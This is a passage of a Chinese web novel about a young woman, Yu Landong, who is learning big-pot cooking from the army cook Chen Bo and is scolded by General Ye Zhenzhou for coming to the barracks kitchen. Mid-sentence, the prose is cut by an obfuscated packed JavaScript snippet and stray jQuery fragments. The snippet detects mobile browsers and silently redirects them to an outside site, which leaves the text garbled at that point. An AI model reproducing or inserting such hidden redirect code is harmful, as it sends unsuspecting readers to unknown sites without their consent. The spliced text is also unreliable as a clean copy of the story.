陈伯扶起郁斓冬,随后一边熟练地搅拌着锅内的菜品,一边轻声问道:“斓冬,你可知咱们大荒城最有名的酒楼?”
伙房内热气腾腾,弥漫着食物的香气。锅中的菜肴在陈伯的搅拌下翻滚着,冒着幸福的味道。
郁斓冬杏眸一闪,沉思片刻后说道:“大荒城食肆本就不多,若论酒楼我便只知一家,师傅是说醉月酒楼?”
提及醉月酒楼,陈伯的眼神瞬间变得暗淡,眸中笼罩着一层阴翳。“正是。我与醉月酒楼老东家还颇有渊源,说起来也是我对不住他。”陈伯的语气中带着一丝愧疚与无奈。
“师傅是说胡掌柜?”郁斓冬疑惑地问道。
“现在掌柜的性胡?”陈伯此时倒有些诧异,脸上露出惊讶的神情。“不可能,难道他从赵姓改为胡了?”陈伯眉头紧锁,仿若醉月酒楼的掌柜不应该姓胡一样。
“不瞒师傅,我先前在东市摆摊,偶然遇胡掌柜,才有了交集。且我送货去了醉月酒楼一趟,确定掌柜的仅胡掌柜一人。”郁斓冬如实回答道。
“那姓胡的竟然没有贪心把你招进酒楼?当真有眼无珠,这么好的苗子不知培养!”陈伯有些生气,胡子都翘了起来,脸上的细纹皱了起来。
他本想发火,但又考虑到一旁的郁斓冬,怕吓到自己唯一的宝贝徒弟,于是转而又抚平脸上的褶皱。陈伯自信说道:“没事儿,他不欣赏你,咱不理他!等着师傅将铺子传给你!吊打醉月酒楼!”
胡掌柜当时将她赶出去,怎么可能有心思还招揽他呢?且当时胡掌柜的心思她是明白的。只是看师傅对醉月酒楼的态度,此事还是不说了为好。
灶炉的火柴烧得正旺,红彤彤的火焰欢快地跳跃。猪肉的香味开始往鼻子里扑,晃晃悠悠,香气飘到了外面。
“将军。”
营帐外,侍卫通报。
“叶将军来的正是时候,正好要开饭了。”陈伯招呼郁斓冬端过盆子,在锅内加入早就发好的面饼摊上面。
面饼在锅中摊开,盖在炖菜上,油亮亮的,浸满了汤汁。与锅中的菜肴相互融合,散发出更加诱人的香气。
这边陈伯与郁斓冬正忙碌地将菜品盛入盆中,面饼子已经熟透。碳水与肉香奇妙地互相交融。
一人猛地掀开伙房门帘进来。未见其人,先闻其声。
“好香!陈伯今日做的什么好吃的?”
声音爽朗却极为耳熟,郁斓冬循声望去,正是早晨去接她的张饶。
“张副将,怎么今日有空来老朽我这伙房?”
陈伯脸上露出意外的神情。“正好,帮我把这午饭端去给将士们尝尝。”陈伯一边说着,一边指了指刚刚盛好的木盆。
“陈伯,怎么我一来你就安排我干活!”
张饶嘴上抱怨着,语气中却带了几分亲昵。走到木盆前,这才注意到了旁边的郁斓冬。
“郁姑娘,你怎么在这儿?难不成……”
张饶话还没说完,就被一道清冷的声音打断。“张饶,还不快去,将士们都饿了。”
随着声音传来,一阵冷风随着帘子打开而钻进屋内,郁斓冬不禁打了个冷战。她微微缩了缩身子,杏眸望去,只见叶枕舟也来到了伙房。
难不成叶将军和张副将平日没事都要来军营伙房巡视一圈?
张饶进来就被安排干活,说句话还被将军训斥,心中暗自嘀咕:我容易吗我!
叶枕舟凌厉的眸子扫过来,不冷不淡地瞥了眼郁斓冬,“你怎么会在这?”
郁斓冬:“将军,我已跟冯管家报备,随师傅来军营钻研一下厨艺。”
叶枕舟:“师傅?”
陈伯唯恐自己徒弟受欺负,连忙解释起来。
“将军,此事是老朽的不是。郁姑娘厨艺精湛,又对厨艺有着极高的热忱。老朽见她天赋颇高,便起了收徒之心,将她带来军营伙房,想把自己的手艺传授给她。这拜师之事,全是老朽一厢情愿,郁姑娘也是盛情难却,还请将军莫要责怪郁姑娘。”陈伯言辞恳切,将责任全揽在了自己身上。
郁斓冬听着陈伯的一番话,心中感动不已。她张了张嘴,想说什么,却又被叶枕舟打断。
叶枕舟面无表情,眼神中闪过一丝不悦,“陈伯,你在军中多年,当知军中规矩。这伙房之事,岂能随意带人前来。”
又转向郁斓冬:“呵,将军府的厨房不够你钻研的,非要来这瘪恻的伙房。”
“咳咳。”陈伯看着气氛有些紧张在一旁咳嗽起来,疯狂地使着眼色。
叶枕舟原本冷峻的神色在陈伯的咳嗽声中微微一动,仿佛也被这咳嗽声唤醒。
他微微眯起双眸,目光在郁斓冬身上停留片刻后,缓缓开口道:“以后在将军府厨房研究便是,军营人多眼杂,不是你应该来的地方。”语气虽依旧清冷,其中夹杂了一丝别样的情绪,像是在解释自己刚才咄咄逼人的原因。
对谁解释,答案不言而喻。
郁斓冬却只觉得莫名其妙。
陈伯也觉得叶将军今日有些奇怪,然而他并未细想。毕竟,他的心思更多地放在了新收的徒弟身上。
叶枕舟离开后,陈伯的脸上重新露出和蔼的笑容,满心满眼都是要将自己掌握的大锅菜精髓传授给徒弟。
“徒儿,来。”陈伯将郁斓冬喊至锅炉旁,一脸郑重地将锅铲递给她,“你试试。”
锅铲整体呈长柄状,约有一米的长度。通体由精铁制成,手握处缠着厚厚的粗布。手握处缠着粗布,握在手里沉甸甸的。
陈伯微笑着解释道:“这锅铲看着沉,可在做大锅菜的时候,它可是不可或缺的工具。它的作用,主要是为了搅拌食物,防止粘锅,同时还能将调料均匀地拌开。这个锅铲如此重,我们就得学会利用食物,来巧妙地使用它。”
说着,陈伯将几块生土豆与萝卜丢进刚才还未刷出的锅中,残留的肉汤在锅中微微荡漾。陈伯拿起锅铲,缓缓地搅拌起来,动作熟练而自然。
“来,你感受一下。”陈伯将锅铲递给郁斓冬。
郁斓冬从陈伯手中接过锅铲,在肉汤的惯性下,锅铲不再那么沉,然而食物却形成了一定的阻力。她试着顺着食物的分类而动锅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068818|147823||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
铲,果然方便了不少。“师傅,我找到了!”
忙活半天,郁斓冬的脸庞微红,额头有细汗冒出。
“这是大锅菜的第一步,好好好利用手中的工具,让工具辅助你。”陈伯满意地点点头,继续说道,“大锅菜的一个显著特点就是量大。为了满足各种人的口味,食材必须具有多样性,还要合理搭配,有些食物不能同食。”
“不同的食材相互融合,各自的味道相互渗透,创造出独特的风味。例如,猪肉的醇厚与蔬菜的清爽相结合,使得大锅菜既有肉的香味,又不会过于油腻。”陈伯一边说着,一边用手比划着。
“徒弟晓得。”郁斓冬认真地听着。
“最重要的是情感。”陈伯的语气突然变得深沉起来。
“情感?”郁斓冬疑惑地问道。
“是,斓冬,你发现你身上的傲气了吗?”陈伯的目光紧紧地盯着郁斓冬,眼神中带着一丝关切。
“傲气?”郁斓冬心中一震,她从未想过自己身上会有傲气。
“美食不仅仅要尊重食物,还要尊重客人。”陈伯语重心长地说道,“我们做吃食,就是为了让人吃的开心,满足,幸福。大锅菜是将士们共同分享的美食,他们团结、奋斗和拼搏的情绪和菜融合,让他们觉得幸福满足。这不仅仅是一道菜肴,更是一种情感寄托。”
郁斓冬陷入了沉思,她回想起自己穿越伊始,确实因为自己是现代人而对古代食物抱着不认可的心态,觉得自己做出来的东西最好,大家肯定都喜欢。
而自己做饭的对象是母亲和弟妹们,夸赞过多,自己不由得飘飘然。又打心底对古人的厨艺不信任,连陈伯的厨艺一开始也是质疑的。她这才意识到,食物的本质或者美食的本质是开心,是分享。
郁斓冬在心里做了一个决定,她要在大荒城开始,把这个朝代从“美食荒漠”变成“美食天国”!
郁斓冬眼眸深沉,对陈伯感激一拜:“师傅,我懂了。”
陈伯欣慰地笑了。
“我那店铺在醉月酒楼旁,明日让一舟带你去看看。”
晚些时候,夕阳的余晖渐渐散去,天空中染上了一层淡淡的暮色。
郁斓冬随陈伯回到将军府,在忙碌地准备完饭菜后,她心中惦记着任务之事,便向冯管家问询卖羊肉的屠户位置。
得知王屠户因屠杀牲畜,住在东边城郊,且距离自己家不远,郁斓冬决定在回家途中特地去找屠户商谈收购羊杂之事。
她独自走在街道上,此时天还未完全黑下来,但街上的人影已十分稀疏。
微风轻轻拂过,带着一丝凉意,让郁斓冬觉得有些萧冷。道路两旁的店铺大多已经关门,门板紧闭。远处时不时传来犬吠声,一声接着一声,在寂静的空气中回荡,叫个不停。
夕阳的最后一抹余晖洒在道路两旁的树上,树影在微风中婆娑摇曳,斑驳的影子在地面上晃动。
郁斓冬静静地走着,思绪放空。突然,身后传来一阵脚步声。
“谁?!”
郁斓冬心中一紧,警惕地转过身来。